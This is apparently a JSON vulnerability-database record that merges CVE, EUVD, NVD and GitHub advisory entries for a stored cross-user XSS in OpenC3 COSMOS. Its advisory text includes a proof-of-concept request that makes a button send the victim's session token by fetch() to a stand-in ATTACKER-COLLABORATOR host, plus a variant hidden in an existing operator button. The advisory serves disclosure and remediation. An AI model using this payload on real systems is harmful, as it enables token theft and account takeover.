{"id":"GHSA-gvf2-2rh5-mpgf","revision":null,"records":[{"revision":"a28b5b1d0646415b90d35f3a0fc55f1b","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-77394","aliases":[],"title":"OpenC3 COSMOS: Stored, cross-user XSS via Telemetry screen BUTTON widget","description":"OpenC3 COSMOS provides the functionality needed to send commands to and receive data from one or more embedded systems. From 5.0.6 until 7.3.0, an authenticated actor with system_set permission can store a shared screen through POST /openc3-api/screen whose BUTTON widget action is evaluated by openc3-cosmos-init/plugins/packages/openc3-vue-common/src/widgets/ButtonWidget.vue in another operator's browser session when the button is activated. The stored script runs in the COSMOS origin and can read localStorage.openc3Token, allowing theft of the victim's bearer token, account takeover, and actions with the victim's privileges. The permissive content security policy contributes to execution but is not the primary root cause. This issue is fixed in version 7.3.0.","state":0,"publishedAt":"2026-09-23T18:53:20.506+00:00","modifiedAt":"2026-09-23T19:28:31.603+00:00","affected":[{"ecosystem":"Vendor product","name":"cosmos","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"OpenC3\",\n                    \"product\": \"cosmos\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 5.0.6, < 7.3.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N","score":7.6,"severity":"HIGH"}],"references":["https://github.com/OpenC3/cosmos/security/advisories/GHSA-gvf2-2rh5-mpgf","https://github.com/OpenC3/cosmos/pull/3560","https://github.com/OpenC3/cosmos/commit/10371f8f410b9ad588f98dfa3befaaacb6587cd3","https://github.com/OpenC3/cosmos/releases/tag/v7.3.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-77394","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-77394","identifiers":["CVE-2026-77394"]},"retained":false,"historicalAffected":[]},{"revision":"d2c5de20be8c47f48de4a21cf60f0341","observedAt":"2026-11-11T16:08:37.648+00:00","statement":{"source":"euvd","id":"EUVD-2026-85564","aliases":["CVE-2026-77394","GHSA-gvf2-2rh5-mpgf"],"title":"OpenC3 COSMOS provides the functionality needed to send commands to and receive data from one or more embedded systems. From 5.0.6 until 7.3.0, an authenticated actor with system_set permission can store a shared screen through POST /openc3…","description":"OpenC3 COSMOS provides the functionality needed to send commands to and receive data from one or more embedded systems. From 5.0.6 until 7.3.0, an authenticated actor with system_set permission can store a shared screen through POST /openc3-api/screen whose BUTTON widget action is evaluated by openc3-cosmos-init/plugins/packages/openc3-vue-common/src/widgets/ButtonWidget.vue in another operator's browser session when the button is activated. The stored script runs in the COSMOS origin and can read localStorage.openc3Token, allowing theft of the victim's bearer token, account takeover, and actions with the victim's privileges. The permissive content security policy contributes to execution but is not the primary root cause. This issue is fixed in version 7.3.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N","score":7.6,"severity":null}],"references":["https://github.com/OpenC3/cosmos/security/advisories/GHSA-gvf2-2rh5-mpgf","https://github.com/OpenC3/cosmos/pull/3560","https://github.com/OpenC3/cosmos/commit/10371f8f410b9ad588f98dfa3befaaacb6587cd3","https://github.com/OpenC3/cosmos/releases/tag/v7.3.0"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-85564","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 23, 2026, 6:53:20 PM","dateUpdated":"Sep 23, 2026, 7:28:31 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-85564","identifiers":["EUVD-2026-85564","CVE-2026-77394","GHSA-gvf2-2rh5-mpgf"]},"retained":false,"historicalAffected":[]},{"revision":"fa33c404178f4989bed16dc15b8d327f","observedAt":"2026-10-25T16:19:04.694+00:00","statement":{"source":"nvd","id":"CVE-2026-77394","aliases":[],"title":"OpenC3 COSMOS provides the functionality needed to send commands to and receive data from one or more embedded systems. From 5.0.6 until 7.3.0, an authenticated actor with system_set permission can store a shared screen through POST /openc3…","description":"OpenC3 COSMOS provides the functionality needed to send commands to and receive data from one or more embedded systems. From 5.0.6 until 7.3.0, an authenticated actor with system_set permission can store a shared screen through POST /openc3-api/screen whose BUTTON widget action is evaluated by openc3-cosmos-init/plugins/packages/openc3-vue-common/src/widgets/ButtonWidget.vue in another operator's browser session when the button is activated. The stored script runs in the COSMOS origin and can read localStorage.openc3Token, allowing theft of the victim's bearer token, account takeover, and actions with the victim's privileges. The permissive content security policy contributes to execution but is not the primary root cause. This issue is fixed in version 7.3.0.","state":0,"publishedAt":"2026-09-23T19:19:15.343+00:00","modifiedAt":"2026-09-23T20:17:15.66+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N","score":7.6,"severity":"HIGH"}],"references":["https://github.com/OpenC3/cosmos/commit/10371f8f410b9ad588f98dfa3befaaacb6587cd3","https://github.com/OpenC3/cosmos/pull/3560","https://github.com/OpenC3/cosmos/releases/tag/v7.3.0","https://github.com/OpenC3/cosmos/security/advisories/GHSA-gvf2-2rh5-mpgf"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-77394","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-79"],"productCriteria":[],"sourceDates":{"published":"2026-09-23T19:19:15.343","lastModified":"2026-09-23T20:17:15.660"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-77394","identifiers":["CVE-2026-77394"]},"retained":false,"historicalAffected":[]},{"revision":"5de987d07a9f4fc48e4c92414b61f639","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-gvf2-2rh5-mpgf","aliases":["CVE-2026-77394"],"title":"OpenC3 COSMOS: Stored, cross-user XSS via Telemetry screen BUTTON widget","description":"## Summary\nA user who can save a telemetry **screen** (permission `system_set`) can embed JavaScript in a screen `BUTTON` widget. The `BUTTON` widget **`eval()`s the stored button text in the browser** when the button is activated, and screens are **shared content rendered to other users in the scope**. As a result, an attacker's stored JavaScript executes **in a different operator's authenticated session** — a **stored, cross-user XSS** (not self-XSS). The payload runs in the COSMOS origin and can read `localStorage.openc3Token` (the victim's session token), enabling **session/account takeover** and, via the victim's privileges, a path to server-side code execution through the Script Runner.\n\nThe site's Content-Security-Policy permits `'unsafe-inline'`/`'unsafe-eval'` (see \"Contributing factor\"), so the injected script runs unimpeded.\n\n- **Product:** OpenC3 COSMOS (Core; likely Enterprise — see scoping note)\n- **Affected version:** confirmed **7.2.0** (latest, tested 2026-06-25); the code path is present on `main`. Lower bound for maintainer to confirm.\n- **Reporter:** _Arpit Kubadia_ \n\n## Description & root cause\n1. **Screen save (the store):** `POST /openc3-api/screen` → `ScreensController#create` (`openc3-cosmos-cmd-tlm-api/app/controllers/screens_controller.rb:35-43`) persists the raw screen text after `authorization('system_set')`. No sanitization of the screen body.\n2. **The sink (the execution):** the `BUTTON` widget stores the button's action as its second parameter and **`eval()`s it on click** — `openc3-cosmos-init/plugins/packages/openc3-vue-common/src/widgets/ButtonWidget.vue:109`:\n   ```js\n   const lines = this.eval.split(';;')   // this.eval == parameters[1] from the stored screen\n   ...\n   const result = eval(lines[i].trim())  // attacker-controlled string -> arbitrary JS in the victim's session\n   ```\n3. **Cross-user delivery:** screens are stored per-scope and rendered to **any** user who opens them (e.g. in Telemetry Viewer). So a screen saved by user A executes in user B's browser.\n4. **Contributing factor (CSP):** `openc3-traefik/traefik.yaml:63` sets `script-src 'unsafe-inline' 'unsafe-eval' https: blob: ...` on every SPA response, so the injected/eval'd script is not blocked. (Reportable as a hardening item in its own right.)\n\n## Proof of Concept\n\n### A. Minimal PoC — a button that steals the viewer's token (verified)\nAuthenticated as any user (Core) / a `system_set` user (Enterprise), store a screen:\n```\nPOST /openc3-api/screen HTTP/1.1\nHost: localhost:2900\nContent-Type: application/json\nAuthorization: ses_<YOUR_TOKEN>\nContent-Length: 224\n\n{\"scope\":\"DEFAULT\",\"target\":\"INST\",\"screen\":\"XSSPOC\",\"text\":\"SCREEN AUTO AUTO 1.0\\nLABEL \\\"Instrument Status\\\"\\nBUTTON 'Refresh' 'fetch(\\\"https://ATTACKER-COLLABORATOR/?t=\\\"+encodeURIComponent(localStorage.openc3Token))'\\n\"}\n```\n→ HTTP 200, body `true`. **Trigger (as the victim):** open `http://<host>:2900/tools/tlmviewer` → Target `INST`, Screen `XSSPOC` → click **Refresh**. The victim's session token is exfiltrated to `ATTACKER-COLLABORATOR`. *(Verified: an out-of-band request carrying a live `ses_…` token was received at the attacker host.)*\n\nA purely visual variant: replace the action with `alert(localStorage.openc3Token)`.\n\n### B. Realistic exploitation — hijack an EXISTING operational screen (no lure)\nThe minimal PoC needs the victim to open the attacker's screen. The realistic attack overwrites a screen operators **already use**, hiding the payload behind a button they **already click**:\n- The `BUTTON` action is `eval`'d after `this.eval.split(';;')`, so **appending `;; <payload>` to an existing button keeps the original command working and adds the attacker's code**. The operator sees no change.\n- Example: take the stock `INST COMMANDING` screen's **`Start Collect`** button (which sends `api.cmd('INST COLLECT ...')`) and append:\n  ```\n  ... +\n  \" ;; fetch('https://ATTACKER-COLLABORATOR/?t='+encodeURIComponent(localStorage.openc3Token))\"\n  ```\n  Re-save the screen (`POST /openc3-api/screen`, same route). Now every operator who opens COMMANDING and clicks `Start Collect` during normal operations sends the real command **and** leaks their session token. No new button, no behavioral change, no social-engineering lure.\n\n## Impact\nThe injected script runs with the victim's session in the COSMOS origin. It can:\n- **Exfiltrate the victim's session token** (`localStorage.openc3Token`) → session/account takeover (the token is a bearer credential accepted in the `Authorization` header).\n- Act as the victim against the API, and — for a victim with script privileges — pivot to the **Script Runner** to achieve **server-side code execution** (the documented escalation chain).\nThis is **cross-user / persistent**: an attacker who can edit shared screens compromises the sessions of other operators viewing those screens, which is materially worse than self-XSS.\n\n## Remediation\n1. **Do not `eval()` screen-supplied strings.** Replace the `BUTTON` widget's `eval` with a constrained, non-`eval` command interface (an allow-listed API surface / safe expression evaluator), or sandbox it.\n2. **Tighten the CSP** (`openc3-traefik/traefik.yaml`): remove `'unsafe-inline'`/`'unsafe-eval'`, move to per-request `nonce` + `'strict-dynamic'`, add `object-src 'none'`, `base-uri 'self'`, `frame-ancestors 'self'`. This alone neutralizes injected inline/eval'd script.\n3. **Treat screens as untrusted, cross-user content** — escape/validate on render; consider gating screen-embedded JavaScript behind a dedicated, clearly-privileged capability rather than the general `system_set`.","state":0,"publishedAt":"2026-09-23T21:24:11+00:00","modifiedAt":"2026-09-23T21:45:07.9381309+00:00","affected":[{"ecosystem":"npm","name":"@openc3/vue-common","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"5.0.6"},{"kind":"fixed","version":"7.3.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/OpenC3/cosmos/security/advisories/GHSA-gvf2-2rh5-mpgf","https://github.com/OpenC3/cosmos/pull/3560","https://github.com/OpenC3/cosmos/commit/10371f8f410b9ad588f98dfa3befaaacb6587cd3","https://github.com/OpenC3/cosmos","https://github.com/OpenC3/cosmos/releases/tag/v7.3.0"],"sourceUrl":"https://github.com/advisories/GHSA-gvf2-2rh5-mpgf","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-gvf2-2rh5-mpgf","identifiers":["GHSA-gvf2-2rh5-mpgf","CVE-2026-77394"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-12T17:18:53.3551573+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-12T17:18:53.3551573+00:00","lastSuccessAt":"2026-11-12T17:18:53.5098368+00:00","error":null,"lastVerifiedAt":"2026-11-12T17:18:53.5098375+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-64752486c567b55b31fb0d7225f5222bcd0019564ac0ac5f0649e242c7b19299-c64cc013e4ac327a566ebd7919181330aa5f66a956ac80541b59e61c9511ffa7","complete":true,"records":424746,"lastAttemptAt":"2026-11-12T17:16:18.2884716+00:00","lastSuccessAt":"2026-11-12T16:16:35.9151725+00:00","error":"AccessDenied (HTTP 403)","lastVerifiedAt":"2026-11-12T16:16:35.996916+00:00","snapshotPublishedAt":"2026-11-12T15:27:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-88e6245ba7dc4729a2344f78a2d37df7","complete":true,"records":13774,"lastAttemptAt":"2026-11-12T17:19:38.3951622+00:00","lastSuccessAt":"2026-11-12T17:19:38.384+00:00","error":null,"lastVerifiedAt":"2026-11-12T17:19:38.384+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13827,"expectedIdentifiers":13827,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-12T17:18:53.3551573+00:00","complete":true,"records":1097,"lastAttemptAt":"2026-11-12T17:18:53.3551573+00:00","lastSuccessAt":"2026-11-12T17:18:53.5137452+00:00","error":null,"lastVerifiedAt":"2026-11-12T17:18:53.5137465+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-053c822da76a4019981dc05530c81af1","complete":false,"records":13774,"lastAttemptAt":"2026-11-12T17:19:19.2511928+00:00","lastSuccessAt":"2026-11-12T17:19:19.245+00:00","error":"200 identifier lookups failed; latest failures include HttpError (HTTP 503). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-12T17:19:19.245+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13613,"expectedIdentifiers":13827,"failedIdentifiers":200},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-3562b6c78fd1bd0f0b55daf66a0926ae24f65e462df7f6d928caad458fc696bf","complete":true,"records":9947,"lastAttemptAt":"2026-11-12T17:18:53.1888873+00:00","lastSuccessAt":"2026-11-11T04:27:43.6877707+00:00","error":null,"lastVerifiedAt":"2026-11-12T17:18:53.1888873+00:00","snapshotPublishedAt":"2026-11-11T03:32:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-456002455e0ab94bb92c95476d4e6d175c104cd594749982afd96c893728ecbc","complete":true,"records":2010,"lastAttemptAt":"2026-11-12T17:16:18.5164346+00:00","lastSuccessAt":"2026-11-11T02:36:58.1276999+00:00","error":null,"lastVerifiedAt":"2026-11-12T17:16:18.5164346+00:00","snapshotPublishedAt":"2026-11-11T01:17:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-0d57668ba92a2918d0664e89ea91d467f8e6a2bc6330923eb883b74ac42a14ec","complete":true,"records":3125,"lastAttemptAt":"2026-11-12T17:18:53.2989437+00:00","lastSuccessAt":"2026-11-12T15:18:36.6112732+00:00","error":null,"lastVerifiedAt":"2026-11-12T17:18:53.2989437+00:00","snapshotPublishedAt":"2026-11-12T14:48:37+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-bde599d85a9f7715a977e2ca25ddb66721130a1c4ff1699631218bc0243e1ab5","complete":true,"records":231717,"lastAttemptAt":"2026-11-12T17:18:53.040847+00:00","lastSuccessAt":"2026-11-12T17:18:51.4424333+00:00","error":null,"lastVerifiedAt":"2026-11-12T17:18:53.040847+00:00","snapshotPublishedAt":"2026-11-12T16:33:03+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}